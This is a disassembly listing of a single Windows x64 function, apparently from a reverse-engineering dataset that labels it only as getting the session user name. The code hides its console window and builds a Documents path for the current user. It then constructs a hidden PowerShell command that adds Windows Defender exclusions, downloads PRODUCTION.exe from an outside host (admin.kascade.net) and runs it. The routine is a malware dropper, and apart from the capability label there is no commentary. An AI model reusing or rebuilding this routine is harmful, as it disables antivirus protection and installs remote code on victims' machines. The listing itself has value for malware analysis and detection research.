Function at 0x1400011c0
Capabilities:
Get session user name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2e8]
sub rsp, 0x3c0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor r14d, r14d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x10], 0x101
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r14
lea rax, [rbp + 0x80]
mov r12, 0xffffffffffffffff
mov rbx, r12
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], r14w
jne 0x140001250
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140001b80
movabs r15, 0x7fffffffffffffff
mov r13d, 0xa
mov qword [rbp + 0x30], 7
cmp rbx, 8
jae 0x1400012b0
mov qword [rbp + 0x28], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x18]
call fcn.140007bf0
mov word [rbp + rbx + 0x18], r14w
jmp 0x140001349
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x1400012c2
lea rcx, [r15 + r15]
jmp 0x1400012e5
mov rsi, rax
cmp rax, r13
cmovb rsi, r13
lea rcx, [rsi + 1]
cmp rcx, r15
ja 0x140001b7a
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001311
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b7a
mov rcx, rax
call fcn.140002170
test rax, rax
je 0x140001b6e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001323
test rcx, rcx
je 0x140001320
call fcn.140002170
mov rdi, rax
jmp 0x140001323
mov rdi, r14
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x80]
mov rcx, rdi
call fcn.140007bf0
mov word [rbx + rdi], r14w
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 8
cmovae rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x28]
lea rsi, [rdx + rax*2]
lea rdi, [rbp + 0x18]
cmovae rdi, qword [rbp + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov ecx, 0x16
cmp rdi, rsi
jne 0x140001396
mov r8, r14
mov qword [rsp + 0x40], r14
mov ecx, 0xf
mov qword [rsp + 0x48], rcx
mov byte [rsp + 0x30], r8b
jmp 0x1400014a1
mov rax, rsi
sub rax, rdi
sar rax, 1
mov rdx, r14
mov qword [rsp + 0x40], rdx
mov ebx, 0xf
mov qword [rsp + 0x48], rbx
cmp rax, r15
ja 0x140001b86
cmp rax, 0x10
jb 0x140001450
mov rbx, rax
or rbx, 0xf
cmp rbx, r15
jbe 0x1400013d5
mov rbx, r15
jmp 0x1400013dc
cmp rbx, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, r12
cmp rcx, 0x1000
jb 0x140001424
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b8c
mov rcx, rax
call fcn.140002170
mov rcx, rax
test rax, rax
je 0x140001b92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x40]
jmp 0x140001438
test rcx, rcx
je 0x140001435
call fcn.140002170
mov rdx, qword [rsp + 0x40]
jmp 0x140001438
mov rax, r14
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], rbx
nop dword [rax]
nop word [rax + rax]
lea rcx, [rsp + 0x30]
cmp rbx, 0x10
cmovae rcx, qword [rsp + 0x30]
movzx eax, byte [rdi]
mov byte [rcx + rdx], al
mov rdx, qword [rsp + 0x40]
inc rdx
mov qword [rsp + 0x40], rdx
add rdi, 2
cmp rdi, rsi
je 0x140001482
mov rbx, qword [rsp + 0x48]
jmp 0x140001450
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rax, qword [rsp + 0x30]
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x40]
mov rax, rcx
sub rax, r8
mov esi, 9
cmp rax, rsi
jb 0x140001539
lea rax, [r8 + 9]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 0x10
cmovae rbx, qword [rsp + 0x30]
lea rax, [0x14001ca29]
lea r12, str.C:_Users_
cmp rax, rbx
jbe 0x1400014fb
lea rax, [rbx + r8]
cmp r12, rax
ja 0x1400014fb
cmp rbx, r12
ja 0x1400014f3
mov rdi, r14
jmp 0x1400014fe
mov rdi, rbx
sub rdi, r12
jmp 0x1400014fe
mov rdi, rsi
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call fcn.140007bf0
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call fcn.140007bf0
lea rcx, [rbx + rdi]
sub rsi, rdi
lea rdx, [r12 + 9]
add rdx, rdi
mov r8, rsi
call fcn.140007bf0
lea rax, [rsp + 0x30]
jmp 0x14000154b
mov qword [rsp + 0x28], rsi
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140001ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, r13
lea rdx, str._Documents
lea rcx, [rsp + 0x50]
call fcn.140001cb0
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x58], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm6
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400015eb
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b98
call fcn.1400021ac
movdqa xmm0, xmmword [0x14001cbd0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000163b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001636
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b9e
call fcn.1400021ac
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rax, r15
movq rsi, xmm6
sub rax, rsi
cmp rax, 0x6a
jb 0x140001ba4
lea r15, [rbp + 0x58]
movq r12, xmm7
psrldq xmm6, 8
movq r13, xmm6
cmp r13, 0x10
cmovae r15, r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea r14, [rsi + 0x6a]
mov ebx, 0xf
lea rdi, [rbp - 0x10]
cmp r14, rbx
jbe 0x140001727
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x1400016e9
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002170
test rax, rax
je 0x140001bc2
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001723
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001712
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b74
jmp 0x1400016ca
test rcx, rcx
je 0x140001721
call fcn.140002170
mov rdi, rax
jmp 0x140001723
xor edi, edi
mov qword [rbp - 0x10], rdi
mov qword [rbp], r14
mov qword [rbp + 8], rbx
movaps xmm0, xmmword [str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x14001cb70]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x14001cb80]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x14001cb90]
movups xmmword [rdi + 0x30], xmm1
movaps xmm0, xmmword [0x14001cba0]
movups xmmword [rdi + 0x40], xmm0
movaps xmm1, xmmword [0x14001cbb0]
movups xmmword [rdi + 0x50], xmm1
movsd xmm0, qword [0x14001cbc0]
movsd qword [rdi + 0x60], xmm0
movzx eax, word [0x14001cbc8]
mov word [rdi + 0x68], ax
lea rcx, [rdi + 0x6a]
mov r8, rsi
mov rdx, r15
call fcn.140007bf0
mov byte [rdi + r14], 0
mov r8d, 0xe1
lea rdx, str.__powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_C:_Windows_System32__powershell_Invoke_WebRequest__Uri_https:__admin.kascade.net_assets_PRODUCTION.exe__OutFile_
lea rcx, [rbp - 0x10]
call fcn.140001cb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [rbp + 0x58]
cmp r13, 0x10
cmovae rdx, r12
mov r8, rsi
lea rcx, [rbp - 0x30]
call fcn.140001cb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea r8d, [rbx + 0x1e]
lea rdx, str._PRODUCTION.exe__powershell_
lea rcx, [rbp - 0x50]
call fcn.140001cb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.140001cb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea r8d, [rbx + 0x10]
lea rdx, str._PRODUCTION.exe
lea rcx, [rsp + 0x70]
call fcn.140001cb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000192a
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001925
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001baa
call fcn.1400021ac
movdqa xmm0, xmmword [0x14001cbd0]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140001977
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001972
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bb0
call fcn.1400021ac
movdqa xmm0, xmmword [0x14001cbd0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1400019c3
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bb6
call fcn.1400021ac
movdqa xmm0, xmmword [0x14001cbd0]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140001a0f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bbc
call fcn.1400021ac
movdqa xmm0, xmmword [0x14001cbd0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140001a5b
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bc2
call fcn.1400021ac
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rcx, qword [rbp + 0x38]
call fcn.140008260
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140001aa9
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bc8
call fcn.1400021ac
movdqa xmm0, xmmword [0x14001cbd0]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140001af6
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001af0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bce
call fcn.1400021ac
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x140001b32
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b6e
call fcn.1400021ac
xor eax, eax
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.140002150
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400087b4
nop
call fcn.140001100
nop
call fcn.140001100
int3
call fcn.1400011a0
nop
call fcn.1400011a0
int3
call fcn.140001100
int3
call fcn.1400087b4
nop
call fcn.1400087b4
nop
call fcn.1400087b4
int3
call fcn.1400011a0
nop
call fcn.1400087b4
nop
call fcn.1400087b4
nop
call fcn.1400087b4
nop
call fcn.1400087b4
nop
call fcn.1400087b4
int3
call fcn.1400087b4
nop
call fcn.1400087b4
int3